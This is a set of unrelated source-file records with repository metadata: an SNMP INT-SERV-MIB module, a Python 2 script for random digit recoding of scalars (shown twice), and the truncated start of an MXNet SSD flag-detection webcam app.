mibBuilder.loadTexts: intSrvFlowDestAddr.setDescription("The destination address used by all senders in this session. This object may not be changed when the value of the RowStatus object is 'ac- tive'.") intSrvFlowSenderAddr = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 5), OctetString().subtype(subtypeSpec=ValueSizeConstraint(4, 16))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowSenderAddr.setStatus('current') if mibBuilder.loadTexts: intSrvFlowSenderAddr.setDescription("The source address of the sender selected by this reservation. The value of all zeroes in- dicates 'all senders'. This object may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowDestAddrLength = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 128))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowDestAddrLength.setStatus('current') if mibBuilder.loadTexts: intSrvFlowDestAddrLength.setDescription("The length of the destination address in bits. This is the CIDR Prefix Length, which for IP4 hosts and multicast addresses is 32 bits. This object may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowSenderAddrLength = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 128))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowSenderAddrLength.setStatus('current') if mibBuilder.loadTexts: intSrvFlowSenderAddrLength.setDescription("The length of the sender's address in bits. This is the CIDR Prefix Length, which for IP4 hosts and multicast addresses is 32 bits. This object may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowProtocol = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 8), Protocol()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowProtocol.setStatus('current') if mibBuilder.loadTexts: intSrvFlowProtocol.setDescription("The IP Protocol used by a session. This ob- ject may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowDestPort = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 9), Port()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowDestPort.setStatus('current') if mibBuilder.loadTexts: intSrvFlowDestPort.setDescription("The UDP or TCP port number used as a destina- tion port for all senders in this session. If the IP protocol in use, specified by intSrvResvFwdProtocol, is 50 (ESP) or 51 (AH), this represents a virtual destination port number. A value of zero indicates that the IP protocol in use does not have ports. This ob- ject may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowPort = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 10), Port()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowPort.setStatus('current') if mibBuilder.loadTexts: intSrvFlowPort.setDescription("The UDP or TCP port number used as a source port for this sender in this session. If the IP protocol in use, specified by intSrvResvFwdProtocol is 50 (ESP) or 51 (AH), this represents a generalized port identifier (GPI). A value of zero indicates that the IP protocol in use does not have ports. This ob- ject may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowFlowId = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 11), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 16777215))).setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvFlowFlowId.setStatus('current') if mibBuilder.loadTexts: intSrvFlowFlowId.setDescription('The flow ID that this sender is using, if this is an IPv6 session.') intSrvFlowInterface = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 12), InterfaceIndex()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowInterface.setStatus('current') if mibBuilder.loadTexts: intSrvFlowInterface.setDescription('The ifIndex value of the interface on which this reservation exists.') intSrvFlowIfAddr = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 13), OctetString().subtype(subtypeSpec=ValueSizeConstraint(4, 16))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowIfAddr.setStatus('current') if mibBuilder.loadTexts: intSrvFlowIfAddr.setDescription('The IP Address on the ifEntry on which this reservation exists. This is present primarily to support those interfaces which layer multi- ple IP Addresses on the interface.') intSrvFlowRate = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 14), BitRate()).setUnits('bits per second').setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowRate.setStatus('current') if mibBuilder.loadTexts: intSrvFlowRate.setDescription("The Reserved Rate of the sender's data stream. If this is a Controlled Load service flow, this rate is derived from the Tspec rate parameter (r). If this is a Guaranteed service flow, this rate is derived from the Rspec clearing rate parameter (R).") intSrvFlowBurst = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 15), BurstSize()).setUnits('bytes').setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowBurst.setStatus('current') if mibBuilder.loadTexts: intSrvFlowBurst.setDescription("The size of the largest burst expected from the sender at a time. If this is less than the sender's advertised burst size, the receiver is asking the network to provide flow pacing beyond what would be provided under normal circumstances. Such pac- ing is at the network's option.") intSrvFlowWeight = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 16), Integer32()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowWeight.setStatus('current') if mibBuilder.loadTexts: intSrvFlowWeight.setDescription('The weight used to prioritize the traffic. Note that the interpretation of this object is implementation-specific, as implementations vary in their use of weighting procedures.') intSrvFlowQueue = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 17), Integer32()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowQueue.setStatus('current') if mibBuilder.loadTexts: intSrvFlowQueue.setDescription('The number of the queue used by this traffic. Note that the interpretation of this object is implementation-specific, as implementations vary in their use of queue identifiers.') intSrvFlowMinTU = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 18), MessageSize()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowMinTU.setStatus('current') if mibBuilder.loadTexts: intSrvFlowMinTU.setDescription('The minimum message size for this flow. The policing algorithm will treat smaller messages as though they are this size.') intSrvFlowMaxTU = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 19), MessageSize()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowMaxTU.setStatus('current') if mibBuilder.loadTexts: intSrvFlowMaxTU.setDescription('The maximum datagram size for this flow that will conform to the traffic specification. This value cannot exceed the MTU of the interface.') intSrvFlowBestEffort = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 20), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvFlowBestEffort.setStatus('current') if mibBuilder.loadTexts: intSrvFlowBestEffort.setDescription('The number of packets that were remanded to best effort service.') intSrvFlowPoliced = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 21), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvFlowPoliced.setStatus('current') if mibBuilder.loadTexts: intSrvFlowPoliced.setDescription("The number of packets policed since the incep- tion of the flow's service.") intSrvFlowDiscard = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 22), TruthValue().clone('false')).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowDiscard.setStatus('current') if mibBuilder.loadTexts: intSrvFlowDiscard.setDescription("If 'true', the flow is to incur loss when traffic is policed. If 'false', policed traff- ic is treated as best effort traffic.") intSrvFlowService = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 23), QosService()).setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvFlowService.setStatus('current') if mibBuilder.loadTexts: intSrvFlowService.setDescription('The QoS service being applied to this flow.') intSrvFlowOrder = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 24), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowOrder.setStatus('current') if mibBuilder.loadTexts: intSrvFlowOrder.setDescription('In the event of ambiguity, the order in which the classifier should make its comparisons. The row with intSrvFlowOrder=0 is tried first, and comparisons proceed in the order of in- creasing value. Non-serial implementations of the classifier should emulate this behavior.') intSrvFlowStatus = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 25), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowStatus.setStatus('current') if mibBuilder.loadTexts: intSrvFlowStatus.setDescription("'active' for all active flows. This object may be used to install static classifier infor- mation, delete classifier information, or au- thorize such.") intSrvFlowNewIndex = MibScalar((1, 3, 6, 1, 2, 1, 52, 2, 1), TestAndIncr()).setMaxAccess("readwrite") if mibBuilder.loadTexts: intSrvFlowNewIndex.setStatus('current') if mibBuilder.loadTexts: intSrvFlowNewIndex.setDescription("This object is used to assign values to intSrvFlowNumber as described in 'Textual Con- ventions for SNMPv2'. The network manager reads the object, and then writes the value back in the SET that creates a new instance of intSrvFlowEntry. If the SET fails with the code 'inconsistentValue', then the process must be repeated; If the SET succeeds, then the ob- ject is incremented, and the new instance is created according to the manager's directions.") intSrvGroups = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 4, 1)) intSrvCompliances = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 4, 2)) intSrvCompliance = ModuleCompliance((1, 3, 6, 1, 2, 1, 52, 4, 2, 1)).setObjects(("INT-SERV-MIB", "intSrvIfAttribGroup"), ("INT-SERV-MIB", "intSrvFlowsGroup"), ("INT-SERV-MIB", "intSrvGenObjectsGroup")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): intSrvCompliance = intSrvCompliance.setStatus('current') if mibBuilder.loadTexts: intSrvCompliance.setDescription('The compliance statement ') intSrvIfAttribGroup = ObjectGroup((1, 3, 6, 1, 2, 1, 52, 4, 1, 1)).setObjects(("INT-SERV-MIB", "intSrvIfAttribAllocatedBits"), ("INT-SERV-MIB", "intSrvIfAttribMaxAllocatedBits"), ("INT-SERV-MIB", "intSrvIfAttribAllocatedBuffer"), ("INT-SERV-MIB", "intSrvIfAttribFlows"), ("INT-SERV-MIB", "intSrvIfAttribPropagationDelay"), ("INT-SERV-MIB", "intSrvIfAttribStatus")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): intSrvIfAttribGroup = intSrvIfAttribGroup.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribGroup.setDescription('These objects are required for Systems sup- porting the Integrated Services Architecture.') intSrvFlowsGroup = ObjectGroup((1, 3, 6, 1, 2, 1, 52, 4, 1, 2)).setObjects(("INT-SERV-MIB", "intSrvFlowType"), ("INT-SERV-MIB", "intSrvFlowOwner"), ("INT-SERV-MIB", "intSrvFlowDestAddr"), ("INT-SERV-MIB", "intSrvFlowSenderAddr"), ("INT-SERV-MIB", "intSrvFlowDestAddrLength"), ("INT-SERV-MIB", "intSrvFlowSenderAddrLength"), ("INT-SERV-MIB", "intSrvFlowProtocol"), ("INT-SERV-MIB", "intSrvFlowDestPort"), ("INT-SERV-MIB", "intSrvFlowPort"), ("INT-SERV-MIB", "intSrvFlowFlowId"), ("INT-SERV-MIB", "intSrvFlowInterface"), ("INT-SERV-MIB", "intSrvFlowBestEffort"), ("INT-SERV-MIB", "intSrvFlowRate"), ("INT-SERV-MIB", "intSrvFlowBurst"), ("INT-SERV-MIB", "intSrvFlowWeight"), ("INT-SERV-MIB", "intSrvFlowQueue"), ("INT-SERV-MIB", "intSrvFlowMinTU"), ("INT-SERV-MIB", "intSrvFlowMaxTU"), ("INT-SERV-MIB", "intSrvFlowDiscard"), ("INT-SERV-MIB", "intSrvFlowPoliced"), ("INT-SERV-MIB", "intSrvFlowService"), ("INT-SERV-MIB", "intSrvFlowIfAddr"), ("INT-SERV-MIB", "intSrvFlowOrder"), ("INT-SERV-MIB", "intSrvFlowStatus")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): intSrvFlowsGroup = intSrvFlowsGroup.setStatus('current') if mibBuilder.loadTexts: intSrvFlowsGroup.setDescription('These objects are required for Systems sup- porting the Integrated Services Architecture.') intSrvGenObjectsGroup = ObjectGroup((1, 3, 6, 1, 2, 1, 52, 4, 1, 3)).setObjects(("INT-SERV-MIB", "intSrvFlowNewIndex")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): intSrvGenObjectsGroup = intSrvGenObjectsGroup.setStatus('current') if mibBuilder.loadTexts: intSrvGenObjectsGroup.setDescription('These objects are required for Systems sup- porting the Integrated Services Architecture.') mibBuilder.exportSymbols("INT-SERV-MIB", BitRate=BitRate, intSrvIfAttribAllocatedBits=intSrvIfAttribAllocatedBits, intSrvFlowMaxTU=intSrvFlowMaxTU, intSrvFlowOrder=intSrvFlowOrder, PYSNMP_MODULE_ID=intSrv, Protocol=Protocol, intSrvIfAttribAllocatedBuffer=intSrvIfAttribAllocatedBuffer, intSrvFlowDestAddr=intSrvFlowDestAddr, intSrvFlowBurst=intSrvFlowBurst, intSrvIfAttribFlows=intSrvIfAttribFlows, intSrvFlowTable=intSrvFlowTable, intSrvFlowEntry=intSrvFlowEntry, intSrvFlowSenderAddrLength=intSrvFlowSenderAddrLength, intSrvIfAttribGroup=intSrvIfAttribGroup, intSrvFlowInterface=intSrvFlowInterface, intSrvFlowDestAddrLength=intSrvFlowDestAddrLength, intSrvFlowDestPort=intSrvFlowDestPort, BurstSize=BurstSize, intSrvFlowStatus=intSrvFlowStatus, intSrvIfAttribMaxAllocatedBits=intSrvIfAttribMaxAllocatedBits, intSrvFlowNewIndex=intSrvFlowNewIndex, intSrvGroups=intSrvGroups, MessageSize=MessageSize, intSrvFlowRate=intSrvFlowRate, intSrvFlowPort=intSrvFlowPort, intSrvFlowIfAddr=intSrvFlowIfAddr, SessionType=SessionType, intSrvIfAttribTable=intSrvIfAttribTable, intSrvIfAttribPropagationDelay=intSrvIfAttribPropagationDelay, intSrvFlowService=intSrvFlowService, intSrvFlowsGroup=intSrvFlowsGroup, intSrvFlowWeight=intSrvFlowWeight, intSrvFlowMinTU=intSrvFlowMinTU, intSrvFlowProtocol=intSrvFlowProtocol, intSrvFlowOwner=intSrvFlowOwner, intSrvIfAttribEntry=intSrvIfAttribEntry, intSrvFlowSenderAddr=intSrvFlowSenderAddr, QosService=QosService, SessionNumber=SessionNumber, intSrvObjects=intSrvObjects, intSrvGenObjects=intSrvGenObjects, intSrvFlowFlowId=intSrvFlowFlowId, intSrvCompliances=intSrvCompliances, intSrv=intSrv, intSrvFlowNumber=intSrvFlowNumber, intSrvNotifications=intSrvNotifications, intSrvFlowQueue=intSrvFlowQueue, intSrvFlowBestEffort=intSrvFlowBestEffort, intSrvFlowType=intSrvFlowType, intSrvCompliance=intSrvCompliance, Port=Port, intSrvIfAttribStatus=intSrvIfAttribStatus, intSrvFlowPoliced=intSrvFlowPoliced, intSrvFlowDiscard=intSrvFlowDiscard, intSrvGenObjectsGroup=intSrvGenObjectsGroup, intSrvConformance=intSrvConformance)

true

790b019a1dd927ca2c40f6dbe2c1d45b69a5be99

8,792

py

Python

Python/IFRA.py

iMohannad/Random_Recording_Algorithm

138113dab004fdaac36d91968a01d8e2c6e34681

[ "MIT" ]

null

Python/IFRA.py

iMohannad/Random_Recording_Algorithm

138113dab004fdaac36d91968a01d8e2c6e34681

[ "MIT" ]

null

Python/IFRA.py

iMohannad/Random_Recording_Algorithm

138113dab004fdaac36d91968a01d8e2c6e34681

[ "MIT" ]

null

import math import random import time def average_density(rdr): countZeros = 0 length = 0 for i in rdr: length = length + 1 if (i == 0): countZeros = countZeros + 1 return [length - countZeros, length] def check_rdr(rdr): for i in range (0, len(rdr)-1): if rdr[i] != 0 and rdr[i+1] != 0: return False return True def generate_random_D(m, l): if l > (m+1)/2: raise ValueError("l should satisfy the condition l <= (m+1)/2") D = [] for i in range(2, l+1, 1): odd = False while not odd: x = random.randint(3, m) if(x % 2 != 0 and x not in D): odd = True D.append(x) D.sort() D.insert(0, 1) return D def add_carry_revised(bin_k): len_k = len(bin_k) # convert bin_k to an array to allow change of one bit easily bin_s = list(bin_k) carry = '0' # If k is empty, Then carry needs to be added last. if (bin_k == ''): return '1' # If LSB is 0, we just add carry to make it one. If it's 1, we make it 0 and carry is set to 1 if(bin_k[len_k-1] == '0'): bin_s[len_k-1] = '1' else: bin_s[len_k-1] = '0' carry = '1' # index is set to the second LSB index = len_k-2 while carry == '1': # if k was only 1 bit, we just append the carry if index == -1: carry = '0' bin_s.insert(0, '1') # if we reached the MSB and it's 1, then we make it 0 and append 1, # if it is 0, it is just set to 1. elif index == 0: carry = '0' if (bin_s[index] == '1'): bin_s[index] = '0' bin_s.insert(0, '1') else: bin_s[index] = '1' # if the bit is neither of the last two cases, it's set to 1 when it is 0, # or it is set to 0, and carry is still 1 elif(bin_k[index] == '0'): bin_s[index] = '1' carry = '0' else: bin_s[index] = '0' # Update the index index = index - 1 # bin_s is converted back to a variable bin_k = "".join(bin_s) return bin_k def get_Wn(D): return int(math.floor(math.log(max(D), 2))) def RDR_algorithm(D, k): rdr = [] bin_k = bin(k)[2:] # get number of bits Wn = get_Wn(D) flag_d = 0 while bin_k != '': # If k is even, zero is appened to rdr and k is shifted right 1 bit if bin_k[len(bin_k)-1] == '0': rdr.insert(0, 0) bin_k = bin_k[:len(bin_k)-1] continue # if LSB is not 0, we extract w bit for w in range(Wn + 1, 0, -1): # if the window is bigger than the length of k, we need to have smaller windwo if (w > len(bin_k)): continue # we check every d in the digit set D for d in D: bin_d = bin(d)[2:] # get the binary representation of d length_bin_d = len(bin_d) # extract w bits from bin_k k_reg = bin_k[len(bin_k) - w:] # compute the negative residue of d, if neg_d is negative, it is ignored by setting it to 0. neg_d = 2**w - d while neg_d < 0: neg_d = 0 neg_bin_d = bin(neg_d)[2:] # get the binary representation of neg_d length_neg_bin_d = len(neg_bin_d) # d cannot be chosen unless the value is less than the extracted window. if d <= k_reg: if int(bin_d, 2) ^ int(k_reg, 2) == 0: rdr.insert(0, d) # inserting w-1 zeros for j in range(0, w-1): rdr.insert(0, 0) # update k by shifting it right w bits bin_k = bin_k[:len(bin_k) - w] # set flag_d to 1 to set the window to Wn+1 flag_d = 1 break elif int(neg_bin_d, 2) ^ int(k_reg, 2) == 0 and neg_d != 1: rdr.insert(0, -d) # Inserting zeros for j in range(0, w-1): rdr.insert(0, 0) # update k by shifting it right w bits bin_k = bin_k[:len(bin_k) - w] # update k after adding a carry to LSB bin_k = add_carry_revised(bin_k) # set flag_d to 1 to set the window to Wn+1 flag_d = 1 break # break out of the for loop to check if we finished k or not if flag_d == 1: flag_d = 0 break # In the end, there might be some leading zeros which are not needed, # this while loop removes the leading zeros and update k accordingly while (rdr[0] == 0): rdr = rdr[1:] # return the result, and length of result return rdr # this function return the value of rdr representation. def check_num(rdr): b = 1 sum = 0 for i in range(len(rdr)-1, -1, -1): sum = sum + b*rdr[i] b = b*2 return sum def run_tests_time(): i = 10 j = 0 averageTime = 0 nist = [651056770906015076056810763456358567190100156695615665659, 2695995667150639794667015087019625940457807714424391721682712368051, 115792089210351248362697456949407573528996955234135760342422159061068512044339, 26959956671506397946670150870196259404578077144243917216827126959956671506397946670150870196259404578077144243917216, 2695995667150639794667015087019625940457807714424391721682712368058238947189273490172349807129834790127349087129834623486127461012630462184628923461201280461] w = [5, 7, 9 , 11] index_w = 0 index_nist = 0 while index_w < 1: while index_nist < 5: D = generate_random_D(2**w[index_w], 2**(w[index_w]-3)-1) while j < 1000: # print j startTime = time.time() rdr = RDR_algorithm(D, nist[index_nist]) endTime = time.time() averageTime = averageTime + (endTime - startTime) j = j+1 averageTime = averageTime / 1000 print "Average Time for NIST[", index_nist, "] and w = ", w[index_w], " = ", averageTime averageTime = 0 j = 0 index_nist = index_nist +1 index_nist = 0 index_w = index_w + 1 if __name__ == '__main__': # print "bin > ", bin(651056770906015076056810763456358567190100156695615665659) # # run_tests_time() # nist = [651056770906015076056810763456358567190100156695615665659, # 2695995667150639794667015087019625940457807714424391721682712368051, # 115792089210351248362697456949407573528996955234135760342422159061068512044339, # 26959956671506397946670150870196259404578077144243917216827126959956671506397946670150870196259404578077144243917216, # 2695995667150639794667015087019625940457807714424391721682712368058238947189273490172349807129834790127349087129834623486127461012630462184628923461201280461] # D = [1, 7, 23, 25, 33, 37, 39, 43, 49, 53, 63, 65, 67, 71, 75, 77, 85, 89, 97, 99, 103, 107, 113, 115, 117, 119, 127, 131, 133, 135, 145, 151, 153, 157, 163, 165, 171, 181, 183, 185, 189, 191, 197, 199, 201, 203, 207, 211, 213, 219, 221, 225, 227, 229, 233, 235, 237, 243, 247, 255, 257, 259, 269, 283, 287, 295, 307, 311, 321, 329, 333, 335, 339, 341, 345, 349, 351, 371, 373, 381, 385, 393, 403, 405, 411, 419,421, 429, 431, 433, 435, 437, 441, 459, 471, 489, 503, 519, 521, 523, 527, 529, 535, 537, 543, 547, 549, 563, 567, 577, 585, 589, 601, 603, 609, 615, 619, 627, 633, 635, 641, 643, 655, 659, 665, 671, 675, 681, 687, 709, 711, 719, 727, 729, 731, 733, 735, 737, 741, 743, 745, 747, 749, 751, 755, 761, 763, 765, 771, 777, 779, 783, 785, 789, 797, 803, 807, 813, 817, 827, 839, 841, 845, 853, 859, 863, 865, 871, 873, 875, 883, 887, 889, 891, 895, 897, 899, 901, 905, 909, 915, 925, 927, 933, 935, 945, 949, 961, 963, 967, 977, 983, 985, 987, 989, 995] # k = nist[4] # rdr = RDR_algorithm(D, k) # print "IFRA > ", rdr rdr = RDR_algorithm([1, 3, 23, 27], 314154655) print "RDR > ", rdr print "Min_len > ", len(rdr) print "IsRDR > ", check_rdr(rdr) print "check > ", check_num(rdr)

42.679612

968

0.535942

import math import random import time def average_density(rdr): countZeros = 0 length = 0 for i in rdr: length = length + 1 if (i == 0): countZeros = countZeros + 1 return [length - countZeros, length] def check_rdr(rdr): for i in range (0, len(rdr)-1): if rdr[i] != 0 and rdr[i+1] != 0: return False return True def generate_random_D(m, l): if l > (m+1)/2: raise ValueError("l should satisfy the condition l <= (m+1)/2") D = [] for i in range(2, l+1, 1): odd = False while not odd: x = random.randint(3, m) if(x % 2 != 0 and x not in D): odd = True D.append(x) D.sort() D.insert(0, 1) return D def add_carry_revised(bin_k): len_k = len(bin_k) bin_s = list(bin_k) carry = '0' if (bin_k == ''): return '1' if(bin_k[len_k-1] == '0'): bin_s[len_k-1] = '1' else: bin_s[len_k-1] = '0' carry = '1' # index is set to the second LSB index = len_k-2 while carry == '1': # if k was only 1 bit, we just append the carry if index == -1: carry = '0' bin_s.insert(0, '1') # if we reached the MSB and it's 1, then we make it 0 and append 1, elif index == 0: carry = '0' if (bin_s[index] == '1'): bin_s[index] = '0' bin_s.insert(0, '1') else: bin_s[index] = '1' # or it is set to 0, and carry is still 1 elif(bin_k[index] == '0'): bin_s[index] = '1' carry = '0' else: bin_s[index] = '0' # Update the index index = index - 1 # bin_s is converted back to a variable bin_k = "".join(bin_s) return bin_k def get_Wn(D): return int(math.floor(math.log(max(D), 2))) def RDR_algorithm(D, k): rdr = [] bin_k = bin(k)[2:] # get number of bits Wn = get_Wn(D) flag_d = 0 while bin_k != '': # If k is even, zero is appened to rdr and k is shifted right 1 bit if bin_k[len(bin_k)-1] == '0': rdr.insert(0, 0) bin_k = bin_k[:len(bin_k)-1] continue # if LSB is not 0, we extract w bit for w in range(Wn + 1, 0, -1): # if the window is bigger than the length of k, we need to have smaller windwo if (w > len(bin_k)): continue # we check every d in the digit set D for d in D: bin_d = bin(d)[2:] # get the binary representation of d length_bin_d = len(bin_d) # extract w bits from bin_k k_reg = bin_k[len(bin_k) - w:] # compute the negative residue of d, if neg_d is negative, it is ignored by setting it to 0. neg_d = 2**w - d while neg_d < 0: neg_d = 0 neg_bin_d = bin(neg_d)[2:] # get the binary representation of neg_d length_neg_bin_d = len(neg_bin_d) # d cannot be chosen unless the value is less than the extracted window. if d <= k_reg: if int(bin_d, 2) ^ int(k_reg, 2) == 0: rdr.insert(0, d) # inserting w-1 zeros for j in range(0, w-1): rdr.insert(0, 0) # update k by shifting it right w bits bin_k = bin_k[:len(bin_k) - w] # set flag_d to 1 to set the window to Wn+1 flag_d = 1 break elif int(neg_bin_d, 2) ^ int(k_reg, 2) == 0 and neg_d != 1: rdr.insert(0, -d) # Inserting zeros for j in range(0, w-1): rdr.insert(0, 0) # update k by shifting it right w bits bin_k = bin_k[:len(bin_k) - w] # update k after adding a carry to LSB bin_k = add_carry_revised(bin_k) # set flag_d to 1 to set the window to Wn+1 flag_d = 1 break # break out of the for loop to check if we finished k or not if flag_d == 1: flag_d = 0 break # In the end, there might be some leading zeros which are not needed, # this while loop removes the leading zeros and update k accordingly while (rdr[0] == 0): rdr = rdr[1:] # return the result, and length of result return rdr # this function return the value of rdr representation. def check_num(rdr): b = 1 sum = 0 for i in range(len(rdr)-1, -1, -1): sum = sum + b*rdr[i] b = b*2 return sum def run_tests_time(): i = 10 j = 0 averageTime = 0 nist = [651056770906015076056810763456358567190100156695615665659, 2695995667150639794667015087019625940457807714424391721682712368051, 115792089210351248362697456949407573528996955234135760342422159061068512044339, 26959956671506397946670150870196259404578077144243917216827126959956671506397946670150870196259404578077144243917216, 2695995667150639794667015087019625940457807714424391721682712368058238947189273490172349807129834790127349087129834623486127461012630462184628923461201280461] w = [5, 7, 9 , 11] index_w = 0 index_nist = 0 while index_w < 1: while index_nist < 5: D = generate_random_D(2**w[index_w], 2**(w[index_w]-3)-1) while j < 1000: # print j startTime = time.time() rdr = RDR_algorithm(D, nist[index_nist]) endTime = time.time() averageTime = averageTime + (endTime - startTime) j = j+1 averageTime = averageTime / 1000 print "Average Time for NIST[", index_nist, "] and w = ", w[index_w], " = ", averageTime averageTime = 0 j = 0 index_nist = index_nist +1 index_nist = 0 index_w = index_w + 1 if __name__ == '__main__': # print "bin > ", bin(651056770906015076056810763456358567190100156695615665659) # # run_tests_time() # nist = [651056770906015076056810763456358567190100156695615665659, # 2695995667150639794667015087019625940457807714424391721682712368051, # 115792089210351248362697456949407573528996955234135760342422159061068512044339, # 26959956671506397946670150870196259404578077144243917216827126959956671506397946670150870196259404578077144243917216, # 2695995667150639794667015087019625940457807714424391721682712368058238947189273490172349807129834790127349087129834623486127461012630462184628923461201280461] # D = [1, 7, 23, 25, 33, 37, 39, 43, 49, 53, 63, 65, 67, 71, 75, 77, 85, 89, 97, 99, 103, 107, 113, 115, 117, 119, 127, 131, 133, 135, 145, 151, 153, 157, 163, 165, 171, 181, 183, 185, 189, 191, 197, 199, 201, 203, 207, 211, 213, 219, 221, 225, 227, 229, 233, 235, 237, 243, 247, 255, 257, 259, 269, 283, 287, 295, 307, 311, 321, 329, 333, 335, 339, 341, 345, 349, 351, 371, 373, 381, 385, 393, 403, 405, 411, 419,421, 429, 431, 433, 435, 437, 441, 459, 471, 489, 503, 519, 521, 523, 527, 529, 535, 537, 543, 547, 549, 563, 567, 577, 585, 589, 601, 603, 609, 615, 619, 627, 633, 635, 641, 643, 655, 659, 665, 671, 675, 681, 687, 709, 711, 719, 727, 729, 731, 733, 735, 737, 741, 743, 745, 747, 749, 751, 755, 761, 763, 765, 771, 777, 779, 783, 785, 789, 797, 803, 807, 813, 817, 827, 839, 841, 845, 853, 859, 863, 865, 871, 873, 875, 883, 887, 889, 891, 895, 897, 899, 901, 905, 909, 915, 925, 927, 933, 935, 945, 949, 961, 963, 967, 977, 983, 985, 987, 989, 995] # k = nist[4] # rdr = RDR_algorithm(D, k) # print "IFRA > ", rdr rdr = RDR_algorithm([1, 3, 23, 27], 314154655) print "RDR > ", rdr print "Min_len > ", len(rdr) print "IsRDR > ", check_rdr(rdr) print "check > ", check_num(rdr)

false

true

790b01b1c205b5dea6dd4f8d22dcd97188b5f521

4,031

py

Python

object_detection_app.py

Prasad9/Detect-Flags-SSD

c0d662bde99ed8df33d72bd06d61d5eb869d31a5

[ "MIT" ]

13

2017-11-08T07:09:13.000Z

2022-03-28T07:09:47.000Z

object_detection_app.py

Prasad9/Detect-Flags-SSD

c0d662bde99ed8df33d72bd06d61d5eb869d31a5

[ "MIT" ]

3

2018-03-08T04:30:19.000Z

2019-01-03T15:47:24.000Z

object_detection_app.py

Prasad9/Detect-Flags-SSD

c0d662bde99ed8df33d72bd06d61d5eb869d31a5

[ "MIT" ]

5

2018-01-15T15:26:44.000Z

2021-08-18T08:02:51.000Z

import os import cv2 import time import argparse import multiprocessing import numpy as np import tools.find_mxnet import mxnet as mx import sys from detect.image_detector import ImageDetector from symbol.symbol_factory import get_symbol from utils import WebcamVideoStream class_names = 'Argentina, Australia, Bhutan, Brazil, Canada, China, Cuba, France, Germany, Greece, India, \ Kenya, Mexico, Norway, Portugal, Saudi Arabia, South Africa, Sri Lanka, Sweden, Thailand, \ Turkey, Ukraine, U.A.E., U.K., U.S.A.' detector = None def get_detector(net, prefix, epoch, data_shape, mean_pixels, ctx, class_names, thresh, plot_confidence, nms_thresh=0.5, force_nms=True, nms_topk=400): if net is not None: net = get_symbol(net, data_shape, num_classes=len(class_names), nms_thresh=nms_thresh, force_nms=force_nms, nms_topk=nms_topk) detector = ImageDetector(net, prefix, epoch, data_shape, mean_pixels, class_names, thresh,\ plot_confidence, ctx=ctx) return detector def process_image(image_frame): # run detection detected_img = detector.detect_and_layover_image(image_frame, False) return detected_img def parse_args(): parser = argparse.ArgumentParser(description='Detect objects in the live video') parser.add_argument('--network', dest='network', type=str, default='vgg16_reduced', help='which network to use') parser.add_argument('--epoch', dest='epoch', help='epoch of pretrained model', default=1, type=int) parser.add_argument('--prefix', dest='prefix', help='Trained model prefix', default=os.path.join(os.getcwd(), 'model', 'ssd'), type=str) parser.add_argument('--thresh', dest='thresh', help='Threshold of confidence level', default=0.43, type=float) 